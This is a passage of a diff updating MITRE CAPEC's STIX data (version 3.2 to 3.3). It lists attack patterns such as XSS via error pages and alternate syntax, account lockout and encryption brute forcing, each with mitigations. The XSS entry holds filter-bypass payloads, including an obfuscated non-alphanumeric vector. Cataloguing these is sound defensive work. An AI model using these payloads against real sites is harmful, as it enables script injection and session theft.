[ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6fedc0b3-4cf2-4afb-a07c-9670bd4ca345", - "source_ref": "course-of-action--759bdbdc-ae95-465b-8ead-bb8b78a7771d", + "id": "relationship--cb5b0184-f7e7-4216-a316-844908b8127f", + "source_ref": "course-of-action--52c18e99-8e6d-4a97-af2f-c27caf4efa5d", "relationship_type": "mitigates", "target_ref": "attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e" }, { + "id": "attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2", "name": "XSS Targeting Error Pages", "description": "An adversary distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the attacker the infected error message error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -10267,7 +11161,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -10290,31 +11184,32 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--89b4089f-8b0c-4e66-9b1b-8d05f8cbaaf5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-198-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use libraries and templates that minimize unfiltered input.", - "type": "course-of-action", - "id": "course-of-action--89b4089f-8b0c-4e66-9b1b-8d05f8cbaaf5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6ead6205-dacb-49ab-9007-3a8d39a3ea50", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6ead6205-dacb-49ab-9007-3a8d39a3ea50", "source_ref": "course-of-action--89b4089f-8b0c-4e66-9b1b-8d05f8cbaaf5", "relationship_type": "mitigates", "target_ref": "attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2" @@ -10322,54 +11217,59 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-198-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Implementation: Normalize, filter and white list any input that will be used in error messages.", + "description": "Implementation: Normalize, filter and use an allowlist for any input that will be used in error messages.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--feee99eb-1c11-48a0-8098-abc3f50a8e2d" + "id": "course-of-action--c79cd2c1-58af-4951-8d6a-8767190e4ecd" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fa7b5dbb-e60c-4b9e-8deb-0bdfc3fe8386", - "source_ref": "course-of-action--feee99eb-1c11-48a0-8098-abc3f50a8e2d", + "id": "relationship--d30e714c-2b9c-4a0d-95e1-7bf38e3f7c5e", + "source_ref": "course-of-action--c79cd2c1-58af-4951-8d6a-8767190e4ecd", "relationship_type": "mitigates", "target_ref": "attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2" }, { + "id": "course-of-action--7a8e75aa-0acc-4307-99ae-181fbe26a03d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-198-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: The victim should configure the browser to minimize active content from untrusted sources.", - "type": "course-of-action", - "id": "course-of-action--7a8e75aa-0acc-4307-99ae-181fbe26a03d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--201dd0ea-a13e-4039-a9c2-1b28e26c2560", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--201dd0ea-a13e-4039-a9c2-1b28e26c2560", "source_ref": "course-of-action--7a8e75aa-0acc-4307-99ae-181fbe26a03d", "relationship_type": "mitigates", "target_ref": "attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2" }, { + "id": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33", "name": "XSS Using Alternate Syntax", "description": "An adversary uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the \"script\" tag using the alternate forms of \"Script\" or \"ScRiPt\" may bypass filters where \"script\" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -10377,7 +11277,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -10453,202 +11353,218 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n In this example, the attacker tries to get executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An attacker will then create a special payload to bypass this filter:\n alert(1)\n when the applications gets this input string, it will replace all \"script\" (case insensitive) by the empty string and the resulting input will be the desired vector by the attacker:\n \n In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., ). For the attacker to execute the same payload as in the previous example, he would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter\n ((\\w+)\\s*\\(.*\\)|alert|eval|function|document)\n and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string \"alert\" would be stripped. An attacker will then create a special payload to bypass this filter:\n this['al' + 'ert'](1)\n when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The attacker could also have used non-alphanumeric XSS vectors to bypass the filter; for example,\n ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)\n would be executed by the JavaScript engine like alert(1) is.\n " + "\n In this example, the attacker tries to get executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An attacker will then create a special payload to bypass this filter:\n alert(1)\n when the applications gets this input string, it will replace all \"script\" (case insensitive) by the empty string and the resulting input will be the desired vector by the attacker:\n \n In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., ). For the attacker to execute the same payload as in the previous example, they would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter\n ((\\w+)\\s*\\(.*\\)|alert|eval|function|document)\n and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string \"alert\" would be stripped. An attacker will then create a special payload to bypass this filter:\n this['al' + 'ert'](1)\n when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The attacker could also have used non-alphanumeric XSS vectors to bypass the filter; for example,\n ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)\n would be executed by the JavaScript engine like alert(1) is.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt injection payload variations on input parameters: Possibly using an automated tool, an attacker requests variations on the inputs they surveyed before. They send parameters that include variations of payloads. The payloads are designed to bypass incomplete filtering (e.g., incomplete HTML encoding etc.) and tries many variations of characters injection that would enable the XSS payload. They record all the responses from the server that include unmodified versions of their script.

    2. Techniques
    Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier. Attempt numerous variations based on form, format, syntax & encoding.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-199-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use browser technologies that do not allow client side scripting.", - "type": "course-of-action", - "id": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7f9249a2-6d3a-425e-9583-820baa614887", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7f9249a2-6d3a-425e-9583-820baa614887", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "course-of-action--040cd51a-446a-4612-a9d0-4a90119d5191", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-199-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Utilize strict type, character, and encoding enforcement", - "type": "course-of-action", - "id": "course-of-action--040cd51a-446a-4612-a9d0-4a90119d5191" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5b5fa953-0ec5-48c2-b9a3-ea2461650cf6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5b5fa953-0ec5-48c2-b9a3-ea2461650cf6", "source_ref": "course-of-action--040cd51a-446a-4612-a9d0-4a90119d5191", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-199-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.", - "type": "course-of-action", - "id": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--8bcece01-19c2-465b-9658-461bae9bfd35", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8bcece01-19c2-465b-9658-461bae9bfd35", "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "course-of-action--63ed5cb5-5feb-4677-8623-3c5552f796ee", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-199-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.", - "type": "course-of-action", - "id": "course-of-action--63ed5cb5-5feb-4677-8623-3c5552f796ee" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--8be86371-e989-4042-af5b-bfd78a42085f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8be86371-e989-4042-af5b-bfd78a42085f", "source_ref": "course-of-action--63ed5cb5-5feb-4677-8623-3c5552f796ee", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "relationship--b307ad0c-ae60-4f03-a5fb-26f4499dc18d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b307ad0c-ae60-4f03-a5fb-26f4499dc18d", "source_ref": "course-of-action--26850710-b983-423b-962a-5fd4b550fa0e", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-199-5", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Perform output validation for all remote content.", - "type": "course-of-action", - "id": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ba695a24-c9fb-4c8a-9012-dc3b1068ec38", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ba695a24-c9fb-4c8a-9012-dc3b1068ec38", "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-199-6", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Disable scripting languages such as JavaScript in browser", - "type": "course-of-action", - "id": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1488d37a-9c10-49ea-bce3-d8270b3b9d2f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1488d37a-9c10-49ea-bce3-d8270b3b9d2f", "source_ref": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-199-7", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.", - "type": "course-of-action", - "id": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b3584936-9e95-48a5-bcca-77b2c2f44e5a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b3584936-9e95-48a5-bcca-77b2c2f44e5a", "source_ref": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e", "relationship_type": "mitigates", "target_ref": "attack-pattern--b703f007-6e24-4365-b5f7-c5d249253b33" }, { + "id": "attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042", "name": "Inducing Account Lockout", "description": "An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user. Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts. An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account. The weakness that is being leveraged by an attacker is the very security feature that has been put in place to counteract attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -10656,7 +11572,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -10690,62 +11606,67 @@ "x_capec_example_instances": [ "A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction." ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. Investigate account lockout behavior of system: Investigate the security features present in the system that may trigger an account lockout

    2. Techniques
    Analyze system documentation to find list of events that could potentially cause account lockout
    Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly
    Determine another user's login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times, or until the system provides an indication that the account is locked out.

  2. Obtain list of user accounts to lock out: Generate a list of valid user accounts to lock out

    3. Techniques
    Obtain list of authorized users using another attack pattern, such as SQL Injection.
    Attempt to create accounts if possible; system should indicate if a user ID is already taken.
    Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts.

Exploit

  1. Lock Out Accounts: Perform lockout procedure for all accounts that the attacker wants to lock out.

    2. Techniques
    For each user ID to be locked out, perform the lockout procedure discovered in the first step.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--5d9b587f-481e-494f-a547-92de65b44c0a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-2-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implement intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.", - "type": "course-of-action", - "id": "course-of-action--5d9b587f-481e-494f-a547-92de65b44c0a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--42e9e6ff-2250-40b7-b5c7-26510e85245f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--42e9e6ff-2250-40b7-b5c7-26510e85245f", "source_ref": "course-of-action--5d9b587f-481e-494f-a547-92de65b44c0a", "relationship_type": "mitigates", "target_ref": "attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042" }, { + "id": "course-of-action--2b357357-88e4-40f9-9345-ada3db593ff5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-2-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "When implementing security features, consider how they can be misused and made to turn on themselves.", - "type": "course-of-action", - "id": "course-of-action--2b357357-88e4-40f9-9345-ada3db593ff5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--01ecb9a3-1f92-4fc8-879d-f7f3fb7ed660", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--01ecb9a3-1f92-4fc8-879d-f7f3fb7ed660", "source_ref": "course-of-action--2b357357-88e4-40f9-9345-ada3db593ff5", "relationship_type": "mitigates", "target_ref": "attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042" }, { + "id": "attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f", "name": "Encryption Brute Forcing", "description": "An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -10802,12 +11723,13 @@ "x_capec_example_instances": [ "In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the key space to cover. The ciphertext was decrypted in 96 days." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine the ciphertext and the encryption algorithm.

Experiment

  1. Perform an exhaustive brute force search of the key space, producing candidate plaintexts and observing if they make sense.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--14ea1dd8-a232-4071-897a-a930751702bb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -10816,23 +11738,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use commonly accepted algorithms and recommended key sizes. The key size used will depend on how important it is to keep the data confidential and for how long.", - "type": "course-of-action", - "id": "course-of-action--14ea1dd8-a232-4071-897a-a930751702bb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--439ff02b-9273-4b92-9c82-0a6912ef0dc7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--439ff02b-9273-4b92-9c82-0a6912ef0dc7", "source_ref": "course-of-action--14ea1dd8-a232-4071-897a-a930751702bb", "relationship_type": "mitigates", "target_ref": "attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f" }, { + "id": "course-of-action--8ce2fd56-5e92-4999-b81d-697c7ddb5202", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -10841,23 +11765,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "In theory a brute force attack performing an exhaustive key space search will always succeed, so the goal is to have computational security. Moore's law needs to be taken into account that suggests that computing resources double every eighteen months.", - "type": "course-of-action", - "id": "course-of-action--8ce2fd56-5e92-4999-b81d-697c7ddb5202" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--24444738-98cb-4371-b7e9-aba1bd3d11ad", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", 